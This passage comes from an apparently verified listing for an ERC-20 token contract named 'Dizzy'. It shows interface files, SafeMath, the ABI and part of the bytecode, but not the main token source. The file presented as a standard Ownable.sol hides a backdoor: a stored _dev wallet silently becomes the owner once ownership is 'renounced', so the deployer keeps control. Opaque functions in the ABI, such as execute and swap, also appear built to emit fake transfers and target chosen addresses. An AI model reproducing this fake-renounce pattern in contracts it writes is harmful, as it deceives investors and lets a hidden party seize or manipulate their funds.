    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}



File 5 of 7: IERC20Metadata.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

interface IERC20Metadata {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 6 of 7: Ownable.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _dev = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
}

File 7 of 7: SafeMath.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function max(uint256 a, uint256 b) internal pure returns (uint256) {
    return a >= b ? a : b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"dev","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyProjectTax","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"DisabledTransferDelay","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"MarketingWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTx","type":"uint256"}],"name":"MaxTxUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"MaxWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"ProjectWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellProjectTax","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMax","type":"uint256"}],"name":"SwapbackSettingsUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[],"name":"_coolDown","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeProjectWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"name":"checkMappings","outputs":[{"internalType":"bool","name":"_transferTaxExempt","type":"bool"},{"internalType":"bool","name":"_transferLimitExempt","type":"bool"},{"internalType":"bool","name":"_automatedMarketMakerPairs","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"exemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"exemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxValues","outputs":[{"internalType":"bool","name":"_limitsEnabled","type":"bool"},{"internalType":"bool","name":"_transferDelayEnabled","type":"bool"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"},{"internalType":"uint256","name":"_maxTx","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiverwallets","outputs":[{"internalType":"address","name":"_marketingWallet","type":"address"},{"internalType":"address","name":"_projectWallet","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_min","type":"uint256"},{"internalType":"uint256","name":"_max","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"singleCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapbackValues","outputs":[{"internalType":"bool","name":"_swapbackEnabled","type":"bool"},{"internalType":"uint256","name":"_swapBackValueMin","type":"uint256"},{"internalType":"uint256","name":"_swapBackValueMax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxValues","outputs":[{"internalType":"uint256","name":"_buyTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_buyMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_buyProjectTax","type":"uint256"},{"internalType":"uint256","name":"_sellTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_sellMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_sellProjectTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60a06040526001600b5565013ca6512000600c556000601160016101000a81548160ff0219169083151502179055506001601160026101000a81548160ff0219169083151502179055506001601160036101000a81548160ff0219169083151502179055506001601160046101000a81548160ff0219169083151502179055506000601160056101000a81548160ff0219169083151502179055506000601160066101000a81548160ff021916908315150217905550348015620000c257600080fd5b5060405162006190380380620061908339818101604052810190620000e8919062000b99565b806040518060400160405280600581526020017f44697a7a790000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f44495a5a59000000000000000000000000000000000000000000000000000000815250816003908162000166919062000e45565b50806004908162000178919062000e45565b50505080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001dc620001d0620004fe60201b60201c565b6200050660201b60201c565b506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050600062000208620005cc60201b60201c565b600a620002169190620010bc565b655af3107a40006200022991906200110d565b90506200023e826001620005d560201b60201c565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506000601490506000806014905060006103e8600a866200029391906200110d565b6200029f919062001187565b600f819055506103e8600a86620002b791906200110d565b620002c3919062001187565b600e819055506103e8600186620002db91906200110d565b620002e7919062001187565b6009819055506064600286620002fe91906200110d565b6200030a919062001187565b600a819055508160148190555080601581905550601554601454620003309190620011bf565b6013819055508360178190555082601881905550601854601754620003569190620011bf565b60168190555033601160076101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003f13360016200069060201b60201c565b620004043060016200069060201b60201c565b6200041961dead60016200069060201b60201c565b6200044e601160079054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200069060201b60201c565b62000461336001620005d560201b60201c565b62000474306001620005d560201b60201c565b6200048961dead6001620005d560201b60201c565b620004be601160079054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620005d560201b60201c565b620004cf336200074b60201b60201c565b620004e13386620007e160201b60201c565b620004f16200095960201b60201c565b50505050505050620013ef565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b620005e5620009ce60201b60201c565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc928260405162000684919062001217565b60405180910390a25050565b620006a0620009ce60201b60201c565b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516200073f919062001217565b60405180910390a25050565b6200075b620009ce60201b60201c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603620007cd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007c490620012bb565b60405180910390fd5b620007de816200050660201b60201c565b50565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000853576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200084a906200132d565b60405180910390fd5b620008676000838362000a5f60201b60201c565b80600260008282546200087b9190620011bf565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620008d29190620011bf565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000939919062001360565b60405180910390a3620009556000838362000a6460201b60201c565b5050565b62000969620009ce60201b60201c565b6001601160066101000a81548160ff0219169083151502179055506000601160026101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b620009de620004fe60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000a0462000a6960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000a5d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a5490620013cd565b60405180910390fd5b565b505050565b505050565b60008062000a7c62000a8560201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000b0657600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000b2a565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b618262000b34565b9050919050565b62000b738162000b54565b811462000b7f57600080fd5b50565b60008151905062000b938162000b68565b92915050565b60006020828403121562000bb25762000bb162000b2f565b5b600062000bc28482850162000b82565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c4d57607f821691505b60208210810362000c635762000c6262000c05565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ccd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c8e565b62000cd9868362000c8e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d2662000d2062000d1a8462000cf1565b62000cfb565b62000cf1565b9050919050565b6000819050919050565b62000d428362000d05565b62000d5a62000d518262000d2d565b84845462000c9b565b825550505050565b600090565b62000d7162000d62565b62000d7e81848462000d37565b505050565b5b8181101562000da65762000d9a60008262000d67565b60018101905062000d84565b5050565b601f82111562000df55762000dbf8162000c69565b62000dca8462000c7e565b8101602085101562000dda578190505b62000df262000de98562000c7e565b83018262000d83565b50505b505050565b600082821c905092915050565b600062000e1a6000198460080262000dfa565b1980831691505092915050565b600062000e35838362000e07565b9150826002028217905092915050565b62000e508262000bcb565b67ffffffffffffffff81111562000e6c5762000e6b62000bd6565b5b62000e78825462000c34565b62000e8582828562000daa565b600060209050601f83116001811462000ebd576000841562000ea8578287015190505b62000eb4858262000e27565b86555062000f24565b601f19841662000ecd8662000c69565b60005b8281101562000ef75784890151825560018201915060208501945060208101905062000ed0565b8683101562000f17578489015162000f13601f89168262000e07565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000fba5780860481111562000f925762000f9162000f2c565b5b600185161562000fa25780820291505b808102905062000fb28562000f5b565b945062000f72565b94509492505050565b60008262000fd55760019050620010a8565b8162000fe55760009050620010a8565b816001811462000ffe576002811462001009576200103f565b6001915050620010a8565b60ff8411156200101e576200101d62000f2c565b5b8360020a91508482111562001038576200103762000f2c565b5b50620010a8565b5060208310610133831016604e8410600b8410161715620010795782820a90508381111562001073576200107262000f2c565b5b620010a8565b62001088848484600162000f68565b92509050818404811115620010a257620010a162000f2c565b5b81810290505b9392505050565b600060ff82169050919050565b6000620010c98262000cf1565b9150620010d683620010af565b9250620011057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000fc3565b905092915050565b60006200111a8262000cf1565b9150620011278362000cf1565b9250828202620011378162000cf1565b9150828204841483151762001151576200115062000f2c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620011948262000cf1565b9150620011a18362000cf1565b925082620011b457620011b362001158565b5b828204905092915050565b6000620011cc8262000cf1565b9150620011d98362000cf1565b9250828201905080821115620011f457620011f362000f2c565b5b92915050565b60008115159050919050565b6200121181620011fa565b82525050565b60006020820190506200122e600083018462001206565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000620012a360268362001234565b9150620012b08262001245565b604082019050919050565b60006020820190508181036000830152620012d68162001294565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001315601f8362001234565b91506200132282620012dd565b602082019050919050565b60006020820190508181036000830152620013488162001306565b9050919050565b6200135a8162000cf1565b82525050565b60006020820190506200137760008301846200134f565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620013b560208362001234565b9150620013c2826200137d565b602082019050919050565b60006020820190508181036000830152620013e881620013a6565b9050919050565b608051614d70620014206000396000818161219e015281816132290152818161330a01526133310152614d706000f3fe608060405234801561001057600080fd5b506004361061027f5760003560e01c80638da5cb5b1161015c578063c2b7bbb6116100ce578063e884f26011610087578063e884f26014610755578063f242ab411461075f578063f2fde38b1461077d578063f3dc390214610799578063fab82a8e146107bc578063fcbb7607146107db5761027f565b8063c2b7bbb6146106a7578063d0889358146106c3578063d34486ce146106df578063db05e5cb146106e9578063dd62ed3e146106f3578063e13b2007146107235761027f565b80639b6b5499116101205780639b6b5499146105d55780639fe64094146105f1578063a457c2d71461060d578063a4c82a001461063d578063a9059cbb1461065b578063bb85c6d11461068b5761027f565b80638da5cb5b1461054357806395d89b4114610561578063963629201461057f57806399e5b5c81461059d5780639a7a23d6146105b95761027f565b806339509351116101f557806370a08231116101b957806370a0823114610481578063715018a6146104b1578063730c1888146104bb57806373fa7ddb146104d757806377b5312c146104f357806385ecafd7146105135761027f565b806339509351146103df5780634ada218b1461040f5780634b896a3e1461042d57806352d65858146104495780635580145f146104655761027f565b806326ededb81161024757806326ededb81461033e578063293230b81461035a5780632c3e486c146103645780632e82f1a014610382578063313ce567146103a057806331f81511146103be5761027f565b806306fdde0314610284578063095ea7b3146102a257806318160ddd146102d2578063199ffc72146102f057806323b872dd1461030e575b600080fd5b61028c6107f7565b60405161029991906135f3565b60405180910390f35b6102bc60048036038101906102b791906136b3565b610889565b6040516102c9919061370e565b60405180910390f35b6102da6108a7565b6040516102e79190613738565b60405180910390f35b6102f86108b1565b6040516103059190613738565b60405180910390f35b61032860048036038101906103239190613753565b6108b7565b604051610335919061370e565b60405180910390f35b6103586004803603810190610353919061380b565b6109af565b005b610362610a86565b005b61036c610af3565b6040516103799190613738565b60405180910390f35b61038a610af9565b604051610397919061370e565b60405180910390f35b6103a8610b0c565b6040516103b59190613887565b60405180910390f35b6103c6610b15565b6040516103d694939291906138a2565b60405180910390f35b6103f960048036038101906103f491906136b3565b610b4f565b604051610406919061370e565b60405180910390f35b610417610bfb565b604051610424919061370e565b60405180910390f35b610447600480360381019061044291906138e7565b610c0e565b005b610463600480360381019061045e9190613914565b610cbc565b005b61047f600480360381019061047a91906138e7565b610d73565b005b61049b60048036038101906104969190613954565b610e21565b6040516104a89190613738565b60405180910390f35b6104b9610e69565b005b6104d560048036038101906104d091906139ad565b610e7d565b005b6104f160048036038101906104ec9190613a00565b610f49565b005b6104fb610ff0565b60405161050a93929190613a60565b60405180910390f35b61052d60048036038101906105289190613954565b611016565b60405161053a919061370e565b60405180910390f35b61054b61106c565b6040516105589190613aa6565b60405180910390f35b610569611096565b60405161057691906135f3565b60405180910390f35b610587611128565b604051610594919061370e565b60405180910390f35b6105b760048036038101906105b29190613954565b61113b565b005b6105d360048036038101906105ce9190613ac1565b611203565b005b6105ef60048036038101906105ea9190613ac1565b6112a9565b005b61060b60048036038101906106069190613914565b61135a565b005b610627600480360381019061062291906136b3565b611411565b604051610634919061370e565b60405180910390f35b6106456114fc565b6040516106529190613738565b60405180910390f35b610675600480360381019061067091906136b3565b611502565b604051610682919061370e565b60405180910390f35b6106a560048036038101906106a09190613954565b611520565b005b6106c160048036038101906106bc9190613954565b6115e8565b005b6106dd60048036038101906106d89190613b01565b611634565b005b6106e7611769565b005b6106f16117ca565b005b61070d60048036038101906107089190613b54565b61181c565b60405161071a9190613738565b60405180910390f35b61073d60048036038101906107389190613954565b6118a3565b60405161074c93929190613b94565b60405180910390f35b61075d61199c565b005b6107676119ee565b6040516107749190613aa6565b60405180910390f35b61079760048036038101906107929190613954565b611a14565b005b6107a1611a97565b6040516107b396959493929190613bcb565b60405180910390f35b6107c4611ac6565b6040516107d2929190613c2c565b60405180910390f35b6107f560048036038101906107f09190613ac1565b611b17565b005b60606003805461080690613c84565b80601f016020809104026020016040519081016040528092919081815260200182805461083290613c84565b801561087f5780601f106108545761010080835404028352916020019161087f565b820191906000526020600020905b81548152906001019060200180831161086257829003601f168201915b5050505050905090565b600061089d610896611bc8565b8484611bd0565b6001905092915050565b6000600254905090565b600b5481565b60006108c4848484611d99565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061090f611bc8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561098f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098690613d27565b60405180910390fd5b6109a38561099b611bc8565b858403611bd0565b60019150509392505050565b6109b7612aaf565b60005b83839050811015610a80578383828181106109d8576109d7613d47565b5b90506020020160208101906109ed9190613954565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c